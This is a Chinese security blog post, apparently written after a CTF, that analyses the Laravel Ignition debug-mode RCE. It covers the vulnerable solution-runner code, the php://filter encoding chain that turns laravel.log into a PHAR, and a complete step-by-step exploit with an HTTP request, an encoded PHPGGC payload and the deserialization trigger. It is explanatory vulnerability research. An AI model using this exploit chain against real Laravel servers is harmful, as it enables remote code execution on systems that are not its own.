Laravel debug mode RCE

admin 2024年1月6日10:40:34评论13 views字数 11868阅读39分33秒阅读模式

前段时间比赛正好遇到了这个漏洞,上网查资料的时候发现全是exp利用,很少漏洞利用过程分析,所以赛后来分析一下,这个漏洞具体的形成原因

首先搭建一个相应版本的Laravel,开启debug模式

Laravel debug mode RCE

意外

经过进一步检查,发现这些堆栈跟踪是由Ignition生成的,Ignition是从版本6开始的Laravel默认错误页面生成器。

如果我们在模板中使用未知变量,就会发生以下情况:

Laravel debug mode RCE

通过单击“Make variable Optional”,模板中的 {{ $username }} 将自动替换为 {{ $username ? '' }}。如果我们检查 HTTP 日志,我们可以看到被调用的端点:

Laravel debug mode RCE

那么除了这一点,我们发现在这个版本中我们似乎还可以进行实例化

class SolutionProviderRepository implements SolutionProviderRepositoryContract
{
    ...

    public function getSolutionForClass(string $solutionClass): ?Solution
    
{
        if (! class_exists($solutionClass)) {
            return null;
        }

        if (! in_array(Solution::class, class_implements($solutionClass))) {
            return null;
        }

        return app($solutionClass);
    }
}

仔细追踪后发现,这好像不可行,因为Ignition会确保我们指向的类实现了RunnableSolution接口

但追踪时我们发现./vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php 也许可以更改任意文件的内容

class MakeViewVariableOptionalSolution implements RunnableSolution
{
    ...

    public function run(array $parameters = [])
    
{
        $output = $this->makeOptional($parameters);
        if ($output !== false) {
            file_put_contents($parameters['viewFile'], $output);
        }
    }

    public function makeOptional(array $parameters = [])
    
{
        $originalContents = file_get_contents($parameters['viewFile']); // [1]
        $newContents = str_replace('$'.$parameters['variableName'], '$'.$parameters['variableName']." ?? ''", $originalContents);

        $originalTokens = token_get_all(Blade::compileString($originalContents)); // [2]
        $newTokens = token_get_all(Blade::compileString($newContents));

        $expectedTokens = $this->generateExpectedTokens($originalTokens, $parameters['variableName']);

        if ($expectedTokens !== $newTokens) { // [3]
            return false;
        }

        return $newContents;
    }

    protected function generateExpectedTokens(array $originalTokens, string $variableName)array
    
{
        $expectedTokens = [];
        foreach ($originalTokens as $token) {
            $expectedTokens[] = $token;
            if ($token[0] === T_VARIABLE && $token[1] === '$'.$variableName) {
                $expectedTokens[] = [T_WHITESPACE, ' ', $token[2]];
                $expectedTokens[] = [T_COALESCE, '??', $token[2]];
                $expectedTokens[] = [T_WHITESPACE, ' ', $token[2]];
                $expectedTokens[] = [T_CONSTANT_ENCAPSED_STRING, "''", $token[2]];
            }
        }

        return $expectedTokens;
    }

    ...
}

这段代码的意思是:读取给定的文件路径 [1] 并将 $variableName 替换为 $variableName ?? '' 后,初始文件和新文件将被标记化 [2]。如果代码结构的变化没有超出预期,该文件将被替换为新内容。否则,makeOptional将返回false [3],并且新文件将不会被写入。所以这里的 variableName 也不可控。

那么在这种情况下,剩下的唯一输入变量是viewFile。如果我们对 variableName 及其所有用途进行抽象,我们最终会得到以下代码片段:

$contents = file_get_contents($parameters['viewFile']);
file_put_contents($parameters['viewFile'], $contents);

所以这里只能将 viewFile 的内容写回到 viewFile 中,不做任何修改。气死我了!!!

我还以为能挖到新东西呢!!!

那么言归正传回到这个漏洞

Exp

我们首先看一下这个exp(节选)

POST /_ignition/execute-solution HTTP/1.1
Host: 139.xxxxx:8080
Content-Type: application/json
Content-Length: 5050


{
 "solution""Facade\Ignition\Solutions\MakeViewVariableOptionalSolution",
 "parameters": {
  "variableName":"username",
"viewFile""=50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=58=00=31=00=39=00=49=00=51=00=55=00=78=00=55=00=58=00=30=00=4E=00=50=00=54=00=56=00=42=00=4A=00=54=00=45=00=56=00=53=00=4B=00=43=00=6B=00=37=00=49=00=44=00=38=00=2B=00=44=00=51=00=6F=00=66=00=41=00=67=00=41=00=41=00=41=00=67=00=41=00=41=00=41=00=42=00=45=00=41=00=41=00=41=00=41=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=44=00=49=00=41=00=51=00=41=00=41=00=54=00=7A=00=6F=00=30=00=4D=00=44=00=6F=00=69=00=53=00=57=00=78=00=73=00=64=00=57=00=31=00=70=00=62=00=6D=00=46=00=30=00=5A=00=56=00=78=00=43=00=63=00=6D=00=39=00=68=00=5A=00=47=00=4E=00=68=00=63=00=33=00=52=00=70=00=62=00=6D=00=64=00=63=00=55=00=47=00=56=00=75=00=5A=00=47=00=6C=00=75=00=5A=00=30=00=4A=00=79=00=62=00=32=00=46=00=6B=00=59=00=32=00=46=00=7A=00=64=00=43=00
......
a"

 }

虽然比赛直接上exp没什么感觉,分析的时候发现这都是些啥啊里面全是=00这样的字符,两眼一黑不知道从何分析,那只能正向的去看了

它使用 php://filter 在返回文件之前更改文件的内容。我们可以使用它来使用我们的漏洞利用原语来转换文件的内容:

echo test | base64 | base64 > /path/to/file.txt
$ cat /path/to/file.txt
ZEdWemRBbz0K
$f = 'php://filter/convert.base64-decode/resource=/path/to/file.txt';
# Reads /path/to/file.txt, base64-decodes it, returns the result
$contents = file_get_contents($f); 
# Base64-decodes $contents, then writes the result to /path/to/file.txt
file_put_contents($f, $contents); 
$ cat /path/to/file.txt
test

我们已经更改了文件的内容!遗憾的是,这应用了两次转换。阅读文档向我们展示了一种只应用一次的方法

# To base64-decode once, use:
$f = 'php://filter/read=convert.base64-decode/resource=/path/to/file.txt';
# OR
$f = 'php://filter/write=convert.base64-decode/resource=/path/to/file.txt';

Badchars 甚至会被忽略:

echo ':;.!!!!!ZEdWemRBbz0K:;.!!!!!' > /path/to/file.txt
$f = 'php://filter/read=convert.base64-decode|convert.base64-decode/resource=/path/to/file.txt';
$contents = file_get_contents($f); 
file_put_contents($f, $contents); 
$ cat /path/to/file.txt
test

写入日志文件

默认情况下,Laravel 的日志文件(包含每个 PHP 错误和堆栈跟踪)存储在 storage/logs/laravel.log中。让我们通过尝试加载不存在的文件来生成错误,SOME_TEXT_OF_OUR_CHOICE

local.ERROR: file_get_contents(SOME_TEXT_OF_OUR_CHOICE): failed to open stream: No such file or directory {"exception":"[object] (ErrorException(code: 0): file_get_contents(SOME_TEXT_OF_OUR_CHOICE): failed to open stream: No such file or directory at /work/pentest/laravel/laravel/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php:75)
[stacktrace]
#0 [internal function]: Illuminate\Foundation\Bootstrap\HandleExceptions->handleError()
#1 /work/pentest/laravel/laravel/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php(75): file_get_contents()
#2 /work/pentest/laravel/laravel/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php(67): Facade\Ignition\Solutions\MakeViewVariableOptionalSolution->makeOptional()
#3 /work/pentest/laravel/laravel/vendor/facade/ignition/src/Http/Controllers/ExecuteSolutionController.php(19): Facade\Ignition\Solutions\MakeViewVariableOptionalSolution->run()
#4 /work/pentest/laravel/laravel/vendor/laravel/framework/src/Illuminate/Routing/ControllerDispatcher.php(48): Facade\Ignition\Http\Controllers\ExecuteSolutionController->__invoke()
[...]
#32 /work/pentest/laravel/laravel/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(103): Illuminate\Pipeline\Pipeline->Illuminate\Pipeline\{closure}()
#33 /work/pentest/laravel/laravel/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(141): Illuminate\Pipeline\Pipeline->then()
#34 /work/pentest/laravel/laravel/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(110): Illuminate\Foundation\Http\Kernel->sendRequestThroughRouter()
#35 /work/pentest/laravel/laravel/public/index.php(52): Illuminate\Foundation\Http\Kernel->handle()
#36 /work/pentest/laravel/laravel/server.php(21): require_once('/work/pentest/l...')
#37 {main}
"
}

执行成功,那么这就说明我们可以使用Orange的技术将日志文件转换为有效的PHAR文件,然后使用phar://包装器来运行序列化代码。

base64-decode链显示出其局限性

PHP 在对字符串进行 Base64 解码时会忽略任何 badchar。除了一个字符:=。如果使用 base64-decode 过滤中间包含 = 的字符串,PHP 将产生错误并且不返回任何内容。

然而,我们注入到日志文件中的文本只是其中很小的一部分。有一个大小合适的前缀(日期)和一个巨大的后缀(堆栈跟踪)。此外,我们注入的文本出现了两次!

php > var_dump(base64_decode(base64_decode('[2022-04-30 23:59:11]')));
string(0""
php > var_dump(base64_decode(base64_decode('[2022-04-12 23:59:11]')));
string(1"2"

根据日期,对前缀进行两次解码会产生不同大小的结果。当我们第三次解码时,在第二种情况下,我们的有效负载将以 2 为前缀,从而更改 Base64 消息的对齐方式。

如果我们能够让它发挥作用,我们就必须为每个目标构建一个新的有效负载,因为堆栈跟踪包含绝对文件名,以及每秒一个新的有效负载,因为前缀包含时间。如果 = 设法进入众多 Base64 解码之一,但是这并不行

因此,我们返回 PHP 文档来查找其他类型的过滤器。

输入编码

让我们回溯一下。日志文件包含以下内容:

[previous log entries]
[prefix]PAYLOAD[midfix]PAYLOAD[suffix]

让我们利用这一点:如果我们大量使用它,就会发生解码错误,并清除日志文件!

php://filter/read=consumed/resource=/path/to/file.txt

我们导致的下一个错误将单独出现在日志文件中:

[prefix]PAYLOAD[midfix]PAYLOAD[suffix]

现在,我们回到原来的问题:保留有效负载并删除其余部分。php://filter 不限于 base64 操作。例如,您可以使用它来转换字符集。这是UTF-16 到 UTF-8:

echo -ne '[Some prefix ]PAYLOAD[midfix]PAYLOAD[Some suffix ]' > /tmp/test.txt
php > echo file_get_contents('php://filter/read=convert.iconv.utf16le.utf-8/resource=/tmp/test.txt');
卛浯⁥牰晥硩崠PAYLOAD浛摩楦嵸PAYLOAD卛浯⁥畳晦硩崠

最后一个问题是在日志条目中,我们的有效负载显示了两次,而不是一次。我们需要摆脱第二个。

由于 UTF-16 使用两个字节,因此我们可以通过在末尾添加一个字节来错位 PAYLOAD 的第二个实例:

echo -ne '[Some prefix ]PAYLOADX[midfix]PAYLOADX[Some suffix ]' > /tmp/test.txt
php > echo file_get_contents('php://filter/read=convert.iconv.utf16le.utf-8/resource=/tmp/test.txt');
卛浯⁥牰晥硩崠PAYLOAD存業晤硩偝䄀夀䰀伀䄀䐀堀卛浯⁥畳晦硩崠

这样做的好处是前缀的对齐不再重要:如果它的大小一样,第一个有效负载将被正确解码。如果第一个解码失败那么第二个会再次解码。

我们现在可以将我们的发现与通常的 base64 解码相结合来编码我们想要的任何内容:

echo -n TEST! | base64 | sed -E 's/./\0/g'
VEVTVCE=
echo -ne '[Some prefix ]VEVTVCE=X[midfix]VEVTVCE=X[Some suffix ]' > /tmp/test.txt
php > echo file_get_contents('php://filter/read=convert.iconv.utf16le.utf-8|convert.base64-decode/resource=/tmp/test.txt');
TEST!

但在转换时又出现了一个新的问题

PHP Warning:  file_get_contents(): iconv stream filter ("utf16le"=>"utf-8"): invalid multibyte sequence in php shell code on line 1

我们可以通过两个有效负载轻松解决这个问题:无害的有效负载 A 和活动的有效负载 B

[prefix]PAYLOAD_A[midfix]PAYLOAD_A[suffix]
[prefix]PAYLOAD_B[midfix]PAYLOAD_B[suffix]

由于前缀、中缀和后缀以及 PAYLOAD_A 和 PAYLOAD_B 出现两次,日志文件的大小必然均匀,从而避免错误。

最后,我们还有最后一个问题需要解决:我们使用 NULL 字节将有效负载字节从 1 填充到 2。尝试在 PHP 中加载带有 NULL 字节的文件会导致以下错误:

PHP Warning:  file_get_contents() expects parameter 1 to be a valid path, string given in php shell code on line 1

因此,我们将无法在错误日志中注入带有 NULL 字节的有效负载。幸运的是,最终的过滤器可以解决这个问题:convert.quoted-printable-decode。

我们可以使用 =00 对 NULL 字节进行编码。

这是我们最终的转换链:

viewFile: php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=/path/to/storage/logs/laravel.log

走到这里我终于明白那一大串长的要死的字符串是干嘛的了

完整利用步骤

创建 PHPGGC 有效负载并对其进行编码:

php -d'phar.readonly=0' ./phpggc monolog/rce1 system id --phar phar -o php://output | base64 -w0 | sed -E 's/=+$//g' | sed -E 's/./=00/g'
U=00E=00s=00D=00B=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00I=00Q=00A=00M=00f=00n=00/=00Y=00B=00A=00A=00A=00A=00A=00Q=00A=00A=00A=00A=00F=00A=00B=00I=00A=00Z=00H=00V=00t=00b=00X=00l=00u=00d=00Q=004=00A=001=00U=00l=003=00t=00r=00Q=00B=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00B=000=00Z=00X=00N=000=00U=00E=00s=00D=00B=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00I=00Q=00A=007=00m=00z=00i=004=00H=00Q=00A=00A=00A=00B=000=00A=00A=00A=00A=00O=00A=00B=00I=00A=00L=00n=00B=00o=00Y=00X=00I=00v=00c=003=00R=001=00Y=00i=005=00w=00a=00H=00B=00u=00d=00Q=004=00A=00V=00y=00t=00B=00h=00L=00Y=00B=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=008=00P=003=00B=00o=00c=00C=00B=00f=00X=000=00h=00B=00T=00F=00R=00f=00Q=000=009=00N=00U=00E=00l=00M=00R=00V=00I=00o=00K=00T=00s=00g=00P=00z=004=00N=00C=00l=00B=00L=00A=00w=00Q=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00C=00E=00A=00D=00H=005=00/=002=00A=00Q=00A=00A=00A=00A...=00Q=00

清除日志:

viewFile: php://filter/read=consumed/resource=/path/to/storage/logs/laravel.log

创建第一个日志条目,用于对齐:

viewFile: AA

使用负载创建日志条目:

viewFile: U=00E=00s=00D=00B=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00I=00Q=00A=00M=00f=00n=00/=00Y=00B=00A=00A=00A=00A=00A=00Q=00A=00A=00A=00A=00F=00A=00B=00I=00A=00Z=00H=00V=00t=00b=00X=00l=00u=00d=00Q=004=00A=001=00U=00l=003=00t=00r=00Q=00B=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00B=000=00Z=00X=00N=000=00U=00E=00s=00D=00B=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00I=00Q=00A=007=00m=00z=00i=004=00H=00Q=00A=00A=00A=00B=000=00A=00A=00A=00A=00O=00A=00B=00I=00A=00L=00n=00B=00o=00Y=00X=00I=00v=00c=003=00R=001=00Y=00i=005=00w=00a=00H=00B=00u=00d=00Q=004=00A=00V=00y=00t=00B=00h=00L=00Y=00B=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=008=00P=003=00B=00o=00c=00C=00B=00f=00X=000=00h=00B=00T=00F=00R=00f=00Q=000=009=00N=00U=00E=00l=00M=00R=00V=00I=00o=00K=00T=00s=00g=00P=00z=004=00N=00C=00l=00B=00L=00A=00w=00Q=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00C=00E=00A=00D=00H=005=00/=002=00A=00Q=00A=00A=00A=00A...=00Q=00==00==00

应用我们的过滤器将日志文件转换为有效的 PHAR:

viewFile: php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=/path/to/storage/logs/laravel.log

启动 PHAR 反序列化:

viewFile: phar:///path/to/storage/logs/laravel.log

Laravel debug mode RCE

在本地环境中确认攻击


原文始发于微信公众号(山石网科安全技术研究院):Laravel debug mode RCE

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年1月6日10:40:34
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Laravel debug mode RCEhttps://cn-sec.com/archives/2364193.html

发表评论

匿名网友 填写信息